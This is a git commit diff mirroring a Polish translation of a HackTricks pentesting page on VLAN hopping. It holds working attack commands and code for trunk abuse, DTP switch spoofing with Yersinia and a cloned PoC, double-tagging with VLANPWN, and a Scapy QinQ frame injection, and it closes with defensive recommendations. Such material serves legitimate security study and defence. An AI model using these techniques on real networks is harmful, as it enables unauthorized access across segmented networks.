mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
0a8e675d16
commit
a25276f97b
@ -10,7 +10,7 @@ Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Za
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Te identyfikatory są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
|
||||
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -20,7 +20,7 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale można to później przywrócić.
|
||||
Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale można ją później przywrócić.
|
||||
|
||||
Następnie tworzone są wirtualne interfejsy, przypisywane są identyfikatory VLAN i aktywowane:
|
||||
```bash
|
||||
@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
Następnie wysyłane jest żądanie adresu za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
|
||||
Następnie żądanie adresu jest wysyłane za pośrednictwem DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
@ -44,12 +44,80 @@ Przykład ręcznego ustawiania statycznego adresu IP na interfejsie (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Łączność jest testowana poprzez inicjowanie żądań ICMP do domyślnych bram dla VLAN-ów 10, 20, 50 i 60.
|
||||
Łączność jest testowana poprzez inicjowanie żądań ICMP do domowych bramek dla VLAN-ów 10, 20, 50 i 60.
|
||||
|
||||
Ostatecznie proces ten umożliwia obejście segmentacji VLAN, co ułatwia nieograniczony dostęp do każdej sieci VLAN i przygotowuje grunt pod kolejne działania.
|
||||
Ostatecznie, ten proces umożliwia obejście segmentacji VLAN, co ułatwia nieograniczony dostęp do każdej sieci VLAN i przygotowuje grunt pod kolejne działania.
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Inne techniki VLAN-Hopping (bez uprzywilejowanego CLI przełącznika)
|
||||
|
||||
Poprzednia metoda zakłada uwierzytelniony dostęp do konsoli lub Telnet/SSH do przełącznika. W rzeczywistych sytuacjach atakujący zazwyczaj jest podłączony do **zwykłego portu dostępowego**. Następujące sztuczki warstwy 2 często pozwalają na lateralne przełączanie bez logowania się do systemu operacyjnego przełącznika:
|
||||
|
||||
### 1. Switch-Spoofing z Dynamic Trunking Protocol (DTP)
|
||||
|
||||
Przełączniki Cisco, które mają włączony DTP, chętnie negocjują trunk, jeśli partner twierdzi, że jest przełącznikiem. Stworzenie pojedynczej ramki **DTP “desirable”** lub **“trunk”** przekształca port dostępowy w trunk 802.1Q, który przenosi *wszystkie* dozwolone VLAN-y.
|
||||
|
||||
*Yersinia* i kilka PoC automatyzują ten proces:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przeprowadzić pivot dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN Abuse)
|
||||
|
||||
Jeśli atakujący znajduje się w **native (untagged) VLAN**, stworzona ramka z *dwoma* nagłówkami 802.1Q może "przeskoczyć" do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2024) automatyzują wstrzykiwanie:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Przechodzenie pakietu:
|
||||
1. Zewnętrzna etykieta (1) jest usuwana przez pierwszy przełącznik, ponieważ pasuje do natywnego VLAN.
|
||||
2. Wewnętrzna etykieta (20) jest teraz odsłonięta; ramka jest przesyłana na trunk w kierunku VLAN 20.
|
||||
|
||||
Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez etykiet.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzną etykietę za pomocą Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Rekomendacje obronne
|
||||
|
||||
1. Wyłącz DTP na wszystkich portach skierowanych do użytkowników: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Zmień natywny VLAN na każdym trunku na **niewykorzystany, czarny VLAN** i oznacz go: `vlan dot1q tag native`.
|
||||
3. Prune'uj niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`.
|
||||
4. Wymuś bezpieczeństwo portów, DHCP snooping i dynamiczną inspekcję ARP, aby ograniczyć nieautoryzowaną aktywność warstwy 2.
|
||||
5. Preferuj private-VLANs lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q.
|
||||
|
||||
---
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Czym jest VLAN Hopping?" (sierpień 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user